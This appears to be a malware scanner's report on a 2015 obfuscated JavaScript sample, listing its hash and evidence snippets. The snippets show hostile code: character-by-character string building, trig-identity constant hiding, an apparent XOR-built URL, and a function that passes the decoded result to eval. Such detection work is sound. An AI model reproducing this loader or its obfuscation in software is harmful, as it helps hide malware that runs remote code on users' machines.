Suspicious ^80% javascript-malware-collection Download

20151217_a3c07af71b9864210a9b7c49a476074b.js

Heavily obfuscated eval payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25665509e2e4ffa2b55cff537dfd6fde0214f27bcd9d61732da3790180007b2a43f

Evidence

Builds characters with String.fromCharCode line 2

2:150… '%','.','L','U','J','b','a','6','T','F','(','C','I','`','6','G',String.fromCharCode(10),'{','$','X','$','7','!','d','?','(','T','Y','@','Z','j',String.fromCharCode(13),'A',',','&',']','/','a','Y','Q','a','k',']','3','S','I','P','%','H','9','x','Z','A','Z','2','Z','d','w','%','B','n',',','Q','^','2','3','v','r','4','B','?','W','f','o','i','*','U','s','2','d','U','5',':','c','l','$','(','y',']','@','9','#','=','-','q','w …

XOR URL reconstruction call line 2

2:778… '+','G','4','I','5','%','*','U','1','u','n','&','p','8','@','#',String.fromCharCode(39),'d',' ','{','y','N','(','j','"','I',')','U','R','*','J',']','*','p','+',']','6','"','.','4','F','q',',','x','-','H','Y','L','Q','.','I','/','m','/','4','6','3','W','@','U','^',',','0','z','{','D','E','1','X','d','7','2','&','?','6','f','=','3','P',')','3','b','4','f','k','q','3','5','i','d','A','6','. …

Calls JavaScript toString conversion method lines 4–10

4:44… abBRJz){gIGC=ZRbAbPkYHwwwoKNXN(oXtuELYwPFR,VPBWLgRRAdACc);FUqRA=gIGC.toString(OjabBRJz);return FUqRA;}
5function vnQaoezIdUqdQKv(mFuSRyWDoRSMpjDbs,JeogglVNwojdROtMIWoiNGCZnHWuKgAjfC,jaoKQOUrBEcFGyYXriogwilxDGkfnJxPYnf){eval(mFuSRyWDoRSMpjDbs);}
6function KCsrichDnBJzodIpLmgHXlEqoTfoMlXPlbNFPwgDlGtyzXEPcjETAp(eUVfJqLCFpspk,ITsPBlvNdWoAAp){ return AElAAEZ[zUwxYqgT[KgNcp(eUVfJqLCFpspk[ITsPBlvNdWoAAp],(14462+434)/532,(3601+349)/395)]];}
7function zfeOuSx(sldfqxsenhIPuJhdwvUgtbjKjinYdujLTyyW) {return !wngmqpLtByB(uDrreCTXzAOdOIe(sldfqxsenhIPuJhdwvUgtbjKjinYdujLTyyW)) && uHNnLOtAOdRZ(sldfqxsenhIPuJhdwvUgtbjKjinYdujLTyyW);}
8function wngmqpLtByB(IWZKjQZUgyRGwq) {return isNaN(IWZKjQZUgyRGwq);}
9function uHNnLOtAOdRZ(SqYZKVJUFqQwP) {return isFinite(SqYZKVJUFqQwP);}
10function ZRbAbPkYHwwwoKNXN(PJQ …

Dense indexed short-token grid lines 12–13

12:33… drmjtHW,VQLvbpcutLs) {tlfMVCMpyyedXt[fEYtvhdrmjtHW]=VQLvbpcutLs;}
13var w = new Array();w[0]=[];w[0][0]='d';w[0][1]='a';w[0][2]='d';w[0][3]='a';w[0][4]='46';w[0][5]='3d';w[0][6]='42';w[0][7]='14';w[0][8]='2o';w[0][9]='14';w[0][10]='25';w[0][11]='14';w[0][12]='16';w[0][13]='47';w[0][14]='3k';w[0][15]='3d';w[0][16]='44';w[0][17]='3g';w[0][18]='3l';w[0][19]='3g';w[0][20]='49';w[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],w[4],w[5]];
20var fXzZSysrZ=[];
21function CngXNIurEDtEagPzF(uybcN){FQRkKBnJbWV= '';EVaHAESzZUG=Math.round((Math.pow(Math.sin(966), 2) + Math.pow(Math.cos(966), 2) - 1));while(true){if (EVaHAESzZUG >= (1751+709)/410){break;}fXzZSysrZ[EVaHAESzZUG]=Math.round((Math.pow(Math.sin(441), 2) + Math.pow(Math.cos(441), 2) - 1)); while(true) { if(fXzZSysrZ[EVaHAESzZUG] > uybcN[EVaHAESzZUG].length-(362+567)/929) { break; } if (zfeOuSx(KgNcp(uybcN[EVaHAESzZUG][fXzZSysrZ[EVaHAESzZUG]],(16845+11)/602,(3966+14)/398))) {FQRkKBnJbWV += KCsrichDnBJzodIpLmgHXlEqoTfoMlXPlbNFPwgDlGtyzXEPcjETAp([uybcN[EVaHAESzZUG][fXzZSysrZ[EVaHAESzZUG]]], Math.round((Math.pow(Math.sin(275), 2) + Math.pow(Math.cos(275), 2) - 1)));} fXzZSysrZ[EVaHAESzZUG]++;}EVaHAESzZUG++;} return FQRkKBnJbWV}
22var mwPrFRNeQrNZbVnODRnXknqSbnqKmgERA = 'NPpBReUyFLJsCBLvnwrTslbohCueSPDOewhJ';var ZVuvXRCxievejFzTgNBFwAAtxOlkAZVy = 'PdNxRZsrPmePwQlZeAALrHGUChLuyqRuixHz';vnQaoezIdUqdQKv(CngXNIurEDtEagPzF(uybcN),mwPrFRNeQrNZbVnODRnXknqSbnqKmgERA,ZVuvXRCxievejFzTgNBFwAAtxOlkAZVy);